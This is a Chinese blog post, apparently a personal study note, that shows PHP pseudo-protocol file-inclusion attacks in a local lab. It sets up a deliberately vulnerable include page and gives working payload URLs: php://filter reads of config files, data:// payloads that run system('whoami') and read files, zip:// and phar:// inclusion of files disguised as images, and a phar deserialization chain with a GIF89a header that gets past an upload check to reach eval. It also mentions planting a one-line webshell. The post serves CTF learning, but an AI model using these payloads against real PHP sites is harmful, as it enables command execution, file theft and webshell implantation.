php伪协议的应用

以下都在本地测试运行

在测试之前,先修改一下php.ini里面的配置文件
在这里插入图片描述
1.(input输出流)
在这里插入图片描述
在这里插入图片描述
index.php文件内容为

<?php include($_GET["file"]); ?>
php://input 是个可以访问请求的原始数据的只读流,关于php://input
https://www.cnblogs.com/redfire/p/7695263.html

2. (filter协议)
在这里插入图片描述

127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

读取指定文件,以base64编码格式输出,这里我读取的是php.ini,注意这里要用绝对路径,一些ctf当中有此类应用

关于php://filter协议的应用
https://blog.csdn.net/destiny1507/article/details/82347371

3.(zip协议)
在这里插入图片描述

127.0.0.1/index.php?file=zip://1.zip%23in.php
<?php 
$file = $_GET['file'];    /*index.php*/
include($file) ;
?>  
<?php
phpinfo();   /*in.php*/
?>

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

但是大多数情况下,会对php文件有过滤的,接下来我们把php文件改为jpg
在这里插入图片描述

127.0.0.1/index.php?file=zip://in.zip%23in.jpg

发现同样能执行成功,仔细想一下,这里主要还是include函数的作用

(再仔细想一下,与我目前的知识水平,感觉这个方法很鸡肋,既然能直接包含了,何必再大费周章的压缩文件呢,当然,很多东西自己可能都不是很了解,肯定有它存在的用处的,先积累)

4. (data协议)
在这里插入图片描述

127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
PD9waHAgcGhwaW5mbygpOyA/Pg== 是 <?php phpinfo(); ?>的编码

在这里插入图片描述

127.0.0.1/index.php?file=data:text/plain,<?php system('whoami')?>

也可以用做命令执行

在这里插入图片描述

127.0.0.1/index.php?file=data:text/plain,<?php system('type D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini')?>

也可以读取源码

5.(file协议)
在这里插入图片描述

127.0.0.1/index.php?file=file://D:\phpstudy_pro\www\test.php

file协议用来访问本地文件(这里我一开始读的是php的配置文件,不知道咋回事总是报错)
6.(phar协议)
我现在本地测试一下利用phar协议的流程

<!-- phar.php -->
<?php
require_once('eval.class.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("vu.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
<!-- eval.class.php -->
<?php
class Evil {
    protected $val;
    function __construct($val)
    {
        $this->val = $val;
    }
    function __wakeup() {
        assert($this->val);
    }
}

?>

以上两段代码用来生成一个vu.phar文件,我们把phar.php放在网页里访问一下
在这里插入图片描述
在这里插入图片描述
注意后面对我们传输的值进行了序列化处理

phar协议实质上就是对序列化与反序列化的应用

接下来正式开始测试,在本地搭一个文件上传的环境

<!-- upload_file.html -->
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
<!-- upload_file.php -->
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
  ?>
<!-- file_un.php -->
<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }}

file_exists($filename);
?>

这里文件上传规定只允许上传文件后缀为gif的文件,且检查了文件头是否正确,我们要做的是把phar文件上传,但是这里是不能成功的,因为生成的phar文件并没有添加gif头,所以这里在直接生成一个含有gif头的phar文件

<!-- eval.php -->
<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('1.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

?>

在这里插入图片描述
我们在把新生成的1.phar修改后缀为1.gif,上传到服务器

这里不知道为什么,一上传就提示404,一开始考虑可能是目录权限的问题,但是改权限也没有用,如果把所有上传文件放到www目录下,就能上传成功,这里就先在www目录下进行上传

在这里插入图片描述
下面用phar协议进行包含,注意这里一定要有一个文件包含的地方,刚才的file_un.php就提供了这个函数

在这里插入图片描述http://localhost/file_un.php?filename=phar://1.gif

成功执行phpinfo

刚才上面也说过,phar协议和php序列化有关系,用简单的话来概括一下流程

生成phar文件(文件包含phpinfo,并将它序列化,生成文件的过程本质就是序列化的过程) => phar:// 访问文件(phar://就相当于反序列化的过程) => 利用文件包含传参 file=phar://1.gif

在生成phar文件的过程中,可以对phar文件添加任意图片头,再通过修改后缀这也是防护的很好方式,但是这只是过滤了文件头检测和文件后缀检测,防护并不是很彻底

其他测试
在这里插入图片描述http://localhost/index.php?file=phar://1.jpg/in.php

这里可以直接利用phar协议,这个方法和zip协议还是很类似的,把#换成/就好了(原理不太清楚,先用着)

写到这里又发现,为啥还要大费周折的创建一个phar然后在反序列化呢,直接上传一个gif不就好了吗,本质都是文件包含,为啥还要伪协议呢,直接file=1.gif不就好了,emmmm,就当积累知识了

利用php协议上传一句话木马

http://localhost/index.php?file=zip://shell.zip%23shell.php

将shell.php打包为shell.zip(.zip也可改成.jpg)

利用php://input上传一句话木马

在这里插入图片描述
执行完后可以看到直接生成了1.php

关于各个协议的php.ini配置
在这里插入图片描述

文章参考

https://www.freebuf.com/company-information/187071.html
https://xz.aliyun.com/t/2715
https://www.cnblogs.com/ichunqiu/p/10683379.html
https://www.jianshu.com/p/237804b9f19b

自己以前遇到过的php序列化的ctf,可以参考一下我以前的文章

https://blog.csdn.net/weixin_43940853/article/details/95324289
发布了32 篇原创文章 · 获赞 0 · 访问量 1348

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/103690418
今日推荐